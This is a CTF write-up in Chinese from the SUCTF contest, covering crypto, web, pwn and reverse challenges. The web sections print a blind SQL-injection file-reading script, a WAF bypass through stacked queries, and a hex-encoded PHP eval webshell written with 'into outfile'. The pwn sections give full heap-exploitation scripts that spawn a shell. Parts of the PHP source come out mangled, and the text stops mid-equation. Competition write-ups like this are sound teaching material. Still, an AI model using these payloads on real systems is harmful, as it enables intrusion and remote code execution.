SUCTF WriteUp By W&P ### Misc #### 签到 KNKUGVCGPN3WK3DDN5WWKX3UN5PXG5LDORTDEMBRHB6Q==== Base32解密得到flag ![](https://i.imgur.com/AndY5qW.png) #### SandGame 利用中国剩余定理求被除数:脚本如下 ![](https://i.imgur.com/uS47vBy.png) ### Crypto #### RSA 题目给了d,通过计算可以得到 (r*plain) mod n,再找出r的逆元,乘一下消去r,脚本如下 ``` import libnum e = 3 d = 44099662569240083770100452501923890981810347032878178494549569926293640377794102787757812392102295343611476808834126649538952636114181616043006492565612847637935953145160211951331986860339486196832569683821120141014991379839508808414941455385036209313700326288366870889877799654511681743709353299322639045424737161223404842883211346043467541833205836604553399746326181139106884008412679110817142624390168364685584282908134947826592906891361640349523847551416712367526240125746834000852838264832774661329773724115660989856782878284849614002221996848649738605272015463464761741155635215695838441165137785286974315511355 n = 66149493853860125655150678752885836472715520549317267741824354889440460566691154181636718588153443015417215213251189974308428954171272424064509738848419271456903929717740317926997980290509229295248854525731680211522487069759263212622412183077554313970550489432550306334816699481767522615564029948983958568137620658877310430228751724173392407096452402130591891085563316308684064273945573863484366971922314948362237647033045688312629960213147916734376716527936706960022935808934003360529947191458592952573768999508441911956808173380895703456745350452416319736699139180410176783788574649448360069042777614429267146945551 c2 = 373963934231176198013243962039325598687515368316473265889452782709149533346457625066216980488365079194343603752238303122490245122686217525396896077122255299730224975629486113760664077409663026326211614665340695113965358943653491921020923879370218447237790181354624355893829589103003373678384601168118587303225292076051043516526067354034696796613749419363162836805803493386279298216353987748795530029126975130517393972704247530785159868695340809122457469878290896817936966711153065064248020531173674298974054499133921089674608925727952993186434659563738489706626531520871539886111336759683958535477777861387433735282 r = 17716749315103526573705712588581968243761527028534430610808509340386444694595879725671790364420175083776553070845875049491366293978228376085467289962147020949892500156946435450709159555093640558131351895450334133806484943424106532941519916361923132501913255149835449426887807279621959882553934149263853276198214556044667287648645259990747231171409686562681939065641439871922667947004842704129340188385620010863935682282492710826775023889364391818023161464549793436864148677024849145863421924259095537265952012139519689864923823464924056163913857036795471726387866932293795514424815981572483857219077326047845349804257 r_inv = libnum.invmod(r, n) print libnum.n2s((r_inv * pow(c2, d, n)) % n) ``` #### Rsa good nc上去看了下,直接拿flag的密文给他解密是不允许的,这时参考rsa一题的思路,先*一个3,去解密出来,再*3的逆元,脚本如下 ``` from pwn import * import libnum context.log_level = 'debug' sh = remote("game.suctf.asuri.org", 10005) sh.recvuntil('e: \n') e = int(sh.recvline().strip()) sh.recvuntil('n: \n') n = int(sh.recvline().strip()) r = 3 r_inv = libnum.invmod(r, n) sh.recvuntil('Choice: ') sh.sendline('F') sh.recvuntil('flag cipher: \n') enc_flag = int(sh.recvline().strip()) sh.recvuntil('Choice: ') sh.sendline('E') sh.recvuntil('Pick the Plain:') sh.sendline(str(r)) sh.recvuntil('cipher: \n') enc_r = int(sh.recvline().strip()) sh.recvuntil('Choice: ') sh.sendline('D') sh.recvuntil('Pick the cipher: ') enc = (enc_r * enc_flag) % n sh.sendline(str(enc)) sh.recvuntil('The plain: \n') r_mul_flag = int(sh.recvline().strip()) flag = (r_mul_flag * r_inv) % n print libnum.n2s(flag) ``` ### Web #### Anonymous 找到hitcon的原题: `baby^h-master-php-2017` > https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2017/baby%5Eh-master-php-2017/index.php 运行fork.py脚本,然后访问: http://web.suctf.asuri.org:81/?func_name=%00lambda_1 拿到flag ![](https://i.imgur.com/7owNfQf.png) #### Getshell 参考文章:[https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html](https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html) if($contents=file_get_contents($_FILES["file"]["tmp_name"])){ $data=substr($contents,5); foreach ($black_char as $b) { if (stripos($data, $b) !== false){ die("illegal char"); } } } 先跑一下判断黑名单过滤了哪些字符 ![](https://i.imgur.com/dUVb1NH.png) 只剩下这几个字符还没被拦截,猜测是只过滤的字母数字跟部分符号,看到这个基本猜到要用无字母数字的方式构造webshell,还有一个`~`位运算符还可以利用,参考文章中的方法二,利用汉字然后取反获得所需要的字符 ![](https://i.imgur.com/aELmiW3.png) 其实括号里边也可以不需要单引号的,部分人被困在这一步上。取反后的第一位是乱码不可见字符,我们就取第二个字符也就是索引`1`的字符来构造webshell 接下来就写个脚本,从汉字中选取我们需要利用的字符。这里用了p牛的一篇文章作为内容 ![](https://i.imgur.com/aedBpI0.png) 生成出我们需要的汉字之后,开始构造webshell 使用的时候记得把我的注释删掉就能用了。最后将webshell上传即可,flag在根目录里 #### MultiSql 登录之后在用户信息有注入,常见的注入函数都被过滤了,所以只能写个盲注脚本跑,然后发现`secure_file_priv`的值为`/var/www/` ![](https://i.imgur.com/lZSQn9t.png) 说明我们可以通过sql注入读取跟写入网站文件。之前的盲注脚本用字符逐位比较的方式觉得效率有点慢,而且部分不可见字符也没法读取出来,所以我将文件内容hex编码,而hex后只有`0123456789abcdf`,跑出一个字符最多只需要32次。最后将内容hex解码即可 import requests import string import binascii hex = lambda s: binascii.hexlify(s) char = '0123456789ABCDEF' filename = '/var/www/html/bwvs_config/waf.php' c = '' url = 'http://web.suctf.asuri.org:85/user/user.php?id=128-if(hex(load_file(0x%s))like(0x%s),1,2)' for _ in xrange(10000): for i in char: payload = c + i + '%' _url = url % (hex(filename), hex(payload)) # print payload #print _url r = requests.get(_url, cookies={'PHPSESSID': 'irv5n2c39anu25lfp5l42i7ld2'}) if '127' in r.content: print '......' + payload c = c + i #if len(c) %2 == 0: # print binascii.unhexlify(c) break # else: # print payload # print c 读取了头像上传文件,发现并没有什么利用点,在`/bwvs_config/waf.php`中发现过滤SQL注入的函数 function waf($str){ $black_str = "/(and|or|union|sleep|select|substr|order|left|right|order|by|where|rand|exp|updatexml|insert|update|dorp|delete|[|]|[&])/i"; $str = preg_replace($black_str, "@@",$str); return addslashes($str); } 过滤的函数挺多的,最后读取`/user/user.php` ![](https://i.imgur.com/4LNscMf.png) 这个注入竟然用的是`mysqli_multi_query`函数,说明我们可以执行多行SQL语句,怎么一开始就没盲测出来呢。。。 既然waf函数过滤了select,可以用set跟hex编码的方式执行SQL语句,绕过过滤函数 set @num=0x73656c65637420757365722829;prepare t from @num;execute t; ![](https://i.imgur.com/AJrWyDo.png) 然后经过`into outfile`方式将php文件写进网站目录 select 0x3c3f706870206576616c28245f524551554553545b273535333332275d293b3f3e into outfile '/var/www/html/favicon/wfox.php' 再次hex编码-> set @num=0x73656c65637420307833633366373036383730323036353736363136633238323435663532343535313535343535333534356232373335333533333333333232373564323933623366336520696e746f206f757466696c6520272f7661722f7777772f68746d6c2f66617669636f6e2f77666f782e70687027;prepare t from @num;execute t; ![](https://i.imgur.com/QFC1gvn.png) 写入shell成功,去根目录找flag即可。 #### HateIT 扫描发现`/.git/`目录,使用[dvcs-ripper](https://github.com/kost/dvcs-ripper)工具将git文件下载下来,发现只有一个`README.md` ![](https://i.imgur.com/pj2VjWy.png) ![](https://i.imgur.com/bk6BgJC.png) 看来得恢复文件,通过`git log`查看记录 ![](https://i.imgur.com/Uvchoof.png) 通过`git reset`回滚版本 ![](https://i.imgur.com/LLBbvfo.png) 三个php文件都是通过扩展加密的,所以没法恢复,`opcode.txt`只有`index.php,class.php,func.php`的opcode代码,对着[Zend Engine 2 操作码列表](http://php.net/manual/zh/internals2.opcodes.list.php)这个手册逆了一晚上,就缺少admin.php导致没法解题。最后第二天放了hint,拿到了`suenc.so`加密扩展文件,丢给团队的逆向牛搞定了解密文件。 下面附上解密出来的文件,index.php是我手逆的所以有点乱,其他文件我还是贴上解密后的吧。。 **index.php** '; echo 'token: '.$token.''; $info = explode('|', decrypt($token)); echo decrypt($token); var_dump($info); if(count($info) == 3) { if(md5(get_identify().$info[0]) == $info[2]) { $sign = $info[1]; $admin = $info[1]; }else{ $admin = $info[1]; } } }else{ if(isset($_SESSION['token']) && isset($_SESSION['sign'])) { echo 'sign : '.$_SESSION['sign'].''; echo 'token: '.$_SESSION['token'].''; $token = $_SESSION['token']; $sign = $_SESSION['sign']; $info = explode('|', decrypt($token)); if(count($info) == 3) { if(md5(get_identify().$info[0]) == $info[2]) { $sign = $info[1]; $admin = $info[1]; }else{ $admin = $info[1]; } echo ''.$admin; } } } if(isset($admin) && $admin == 3) { $_SESSION['auth'] = 'admin'; echo "Admin"; } **func.php** 1000000){ exit("Too large"); } $fileext = substr($filename, strrpos($filename, '.')+1); if(in_array($fileext,$AllowedType)){ $file = "thumbs/images/".md5(time()."admin").".".$fileext; if(file_exists($file)){ exit("File existed already"); }else{ move_uploaded_file($_FILES['file']['tmp_name'],$file); } }else{ exit("Not Allowed Ext"); } } function viewImage($name){ if($_SESSION['auth'] !== "admin"){ die("Auth Failed"); } new ImageView($name); } function showImage(){ $obj = new Home("thumbs/images/"); $obj->showImg(); } function to($str) { return $str . str_repeat(chr(BS - strlen($str) % BS), (BS - strlen($str) % BS)); } function re($str) { return substr($str, 0, -ord(substr($str, -1, 1))); } function getkey(){ return KEY; } function get_identify(){ return IDENTIFY; } function encrypt($str){ $key = getkey(); srand(time() / 300); $token = get_token(); $cipher = bin2hex(mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $key, to($str), MCRYPT_MODE_CFB, $token)); return base64_encode($cipher); } function decrypt($str){ $decode = base64_decode($str); $key = getkey(); srand(time() / 300); $token = get_token(); $bin = hex2bin($str); $plain = re(mcrypt_decrypt(MCRYPT_RIJNDAEL_128, $key,$bin , MCRYPT_MODE_CFB, $token)); return $plain; } **class.php** filename = "images/$name"; $this->createThumbnail(); } function createThumbnail(){ $e = stripcslashes(preg_replace('/[^0-9\\\]/','',isset($_GET['size'])?$_GET['size']:25)); system("/usr/bin/convert {$this->filename} --resize $e ./thumbs/{$this->filename}"); } function __toString() { // TODO: Implement __toString() method. return "filename}> filename}>"; } } class Home{ private $dir = ""; public function __construct($dir){ $this->dir = $dir; } public function showImg(){ $files = $this->getDirFile($this->dir); foreach ($files as $file){ echo ""; } } public function getDirFile($dir){ $files = array(); if(!is_dir($dir)) { return $files; } $handle = opendir($dir); if($handle) { while(false !== ($file = readdir($handle))) { if ($file != '.' && $file != '..') { $filename = $dir . "/" . $file; if(is_file($filename)) { $files[] = $filename; }else { $files = array_merge($files, get_files($filename)); } } } // end while closedir($handle); } return $files; } } **admin.php** >",'1') p.sendlineafter('Size:',str(size)) p.sendlineafter('Content:',con) def show(idx): p.sendlineafter("Choice>>",'2') p.sendlineafter('Index:',str(idx)) p.recvuntil('Content:') data = p.recvn(6) return data def pwn(): add(0x78,'A'*8) fd = 0x3c4b78 + libc.address add(0xdc0,'d'*0xdc0+ 'A'*8+p64(0x91)) add(0xa0,'c') p.sendlineafter("Choice>>",'3') p.sendlineafter(':1)','1') data = show(0) libc.address = u64(data.ljust(8,'\x00')) -0x3bfb58# 0x3c4b78 success("libc is " + hex(libc.address)) iolist= libc.address +0x3c5520 payload = 'A'*0xf68+p64(0x71) + p64(libc.symbols['__malloc_hook']-19-0x10) one = libc.address + 0xf241b add(0x110,payload) add(0x60,'c') add(0x60,'c'*19+p64(one)) p.interactive() pwn() ``` #### offbyone - read输入strcpy拷贝数据 ,存在offbyone,堆分配大小存在限制 ![](https://i.imgur.com/HBSvZFD.png) - 漏洞利用 - unlink ```python #!/usr/bin/env python # coding=utf-8 from pwn import * context.log_level = 'debug' p = process('./offbyone') p = remote('pwn.suctf.asuri.org', 20004) elf = ELF('./offbyone') libc = ELF('./libc-2.23.so') def create(size,con): p.recvuntil('edit\n') p.sendline('1') p.sendlineafter('len\n',str(size)) p.sendafter('data\n',con) def delet(idx): p.recvuntil('edit\n') p.sendline('2') p.sendlineafter('id\n',str(idx)) def edit(idx,con): p.recvuntil('edit\n') p.sendline('4') p.sendlineafter('id\n',str(idx)) p.sendafter('data\n',con) #0x7f 0x100 def pwn(): create(0x80 ,'/bin/sh\x00'+'\n')#0 create(0x80,'E'*8+ '\n')#4 create(0x80,'E'*8+ '\n')#4 create(0x80,'E'*8+ '\n')#4 create(0x80,'E'*8+ '\n')#4 create(0x80,'B'*0x58+p64(0x20)+'\n')#1 modify size create(0x80,'C'*0x58+p64(0x31))#2 #change fd bk create(0x80,'D'*8+ p64(31)+'\n')#3 # create(0x80,'E'*8+ '\n')#4 create(0x80,'E'*8+ '\n')#5 payload = 'A'*0x88+'\xa1' delet(0+4) create(0x88,'A'*0x88) edit(0+4,payload) delet(2+4) target = 0x6020d0 +4*8 fd = target -0x18 bk = target -0x10 create(0x88,'A'*0x88) payload = p64(0x0)+p64(0x81)+p64(fd) + p64(bk)+'A'*0x30 + p64(0x20) + p64(0xc1)+'B'*0x20 + p64(0x80)+ '\x90' edit(2+4,payload) delet(1+4) payload = p64(elf.got['free']) edit(6,payload) p.recvuntil('edit\n') p.sendline('3') p.sendlineafter('id\n','3') data = p.recvuntil('1')[:-1] libc.address = u64(data.ljust(8,'\x00'))-libc.symbols['free'] success('libc is ' + hex(libc.address)) edit(3,p64(libc.symbols['system'])) delet(2+4) p.interactive() pwn() ``` ### Reverse #### RoughLike与期末大作业 文件夹内发现两个png,打开将第一段解b64与第二段拼起来即可 ![](https://i.imgur.com/TiCD09D.png) #### babyre 又是MIPS汇编,扫一下结构发现主函数中通过read接收输入,在sub_400780中处理过后进行逐字节比对 查看sub_400780,发现在一大段赋值以后有一个循环处理 循环中有and $v0, 0x3f;sra $v0, 6等命令 据此猜测为改表的base64算法,将两段赋值dump下来清洗数据得到数组 用b64解密可得flag def my_base64_decodestring(input_str): str_ascii_list = ['{:0>6}'.format(str(bin(table.index(i))).replace('0b', '')) for i in input_str if i != '='] output_str = '' equal_num = input_str.count('=') while str_ascii_list: temp_list = str_ascii_list[:4] temp_str = ''.join(temp_list) if len(temp_str) % 8 != 0: temp_str = temp_str[0:-1*equal_num*2] temp_str_list = [temp_str[x:x+8] for x in [0, 8, 16]] temp_str_list = [int(x, 2) for x in temp_str_list if x] output_str += ''.join([chr(x) for x in temp_str_list]) str_ascii_list = str_ascii_list[4:] return output_str table = "R9Ly6NoJvsIPnWhETYtHe4Sdl+MbGujaZpk102wKCr7/ODg5zXAFqQfxBicV3m8U" s = "eQ4y46+VufZzdFNFdx0zudsa+yY0+J2m" a = my_base64_decodestring(s) print(a) #### simpleformat 接受了36个字符输入,在sub_400f6中对其进行处理 通过格式化字符串的%n来写入,每次4个字节 *可以控制宽度,n$可以指定参数 因此可以视作一个19元的线性方程组,z3求解可得 from z3 import * a = [Int("a%d"% i) for i in range(20)] s = Solver() s.add(a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[5] +a[5] +a[5] +a[5] +a[5] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[14] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[16] +a[16] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] == 5462280 , a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[6] +a[6] +a[6] +a[7] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[13] +a[13] +a[13] +a[13] +a[13] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[19] == 4346506 , a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[4] +a[4] +a[4] +a[4] +a[4] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[15] +a[15] +a[15] +a[15] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] == 5891159 , a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[4] +a[4] +a[4] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[10] +a[10] +a[10] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[15] +a[15] +a[15] +a[15] +a[15] +a[16] +a[16] +a[16] +a[16] +a[16] +a[17] +a[17] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] == 6839864 , a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[3] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[5] +a[5] +a[5] +a[5] +a[5] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[18] +a[18] +a[18] +a[18] +a[18] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] == 7912833 , a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[12] +a[13] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] 